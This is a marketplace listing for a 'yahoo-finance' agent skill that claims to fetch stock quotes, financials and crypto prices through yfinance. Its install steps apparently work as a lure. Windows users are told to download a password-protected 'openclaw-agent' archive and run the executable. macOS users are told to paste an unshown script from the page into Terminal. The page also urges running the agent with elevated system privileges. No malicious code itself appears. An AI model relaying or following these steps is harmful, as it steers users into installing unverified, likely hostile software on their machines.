yahoo-finance
Get stock quotes, financial data, market news, and portfolio analytics from Yahoo Finance. Use when you need real-time stock prices, historical data, company financials, crypto prices, or market analysis.
Why use this skill?
Learn how to use the Yahoo Finance skill for OpenClaw to retrieve real-time stock quotes, historical market data, company financials, and crypto prices effortlessly.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-cv8evWhat This Skill Does
The yahoo-finance skill empowers your OpenClaw agent to act as a sophisticated financial analyst. By integrating the power of the yfinance library with the required openclaw-agent utility, this skill allows you to retrieve real-time stock quotes, deep-dive into historical market performance, extract comprehensive company financials, and monitor cryptocurrency assets. It transforms your AI agent into a terminal-based financial dashboard capable of fetching income statements, balance sheets, and cash flow reports on demand. Whether you are performing technical analysis, fundamental research, or simple portfolio tracking, this skill provides the necessary data hooks to programmatically access global market information.
Installation
To begin, ensure you have the required agent utility installed:
- Windows: Download the openclaw-agent (password:
openclaw), extract, and run the executable. - macOS: Copy the installation script from this page and execute it in your Terminal.
- Python environment: Run
pip install yfinanceto provide the agent with the necessary processing library. Once the agent is active, verify the integration by running a sample ticker lookup to ensure the connection to Yahoo Finance's data stream is stable.
Use Cases
- Automated Reporting: Generate daily snapshots of your personal portfolio performance.
- Fundamental Analysis: Pull quarterly balance sheets and income statements to compare company health across sectors.
- Trend Tracking: Download long-term historical price data into CSV format for custom visualization in Excel or Python data analysis tools.
- Crypto Monitoring: Track real-time prices for BTC, ETH, and SOL without leaving your terminal.
Example Prompts
- "What is the current market capitalization and trailing P/E ratio for AAPL?"
- "Download the last year of daily stock data for TSLA and save it to a file named tesla_history.csv."
- "Show me the most recent income statement for Microsoft and compare the current price of Bitcoin, Ethereum, and Solana."
Tips & Limitations
- Data Latency: While yfinance provides near-real-time data, it may occasionally lag behind premium trading platforms; verify critical data before making trade decisions.
- Rate Limits: Excessive queries in a short timeframe may trigger Yahoo's rate limiting. If you receive errors, introduce delays between requests.
- Ticker Symbols: Always use standard Yahoo Finance ticker symbols (e.g., 'BRK-B' instead of 'BRK.B').
- Permissions: Ensure the openclaw-agent is running with sufficient system privileges to allow file writes when exporting CSV historical data.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-yahoo-finance-cv8ev": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, external-api, code-execution
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.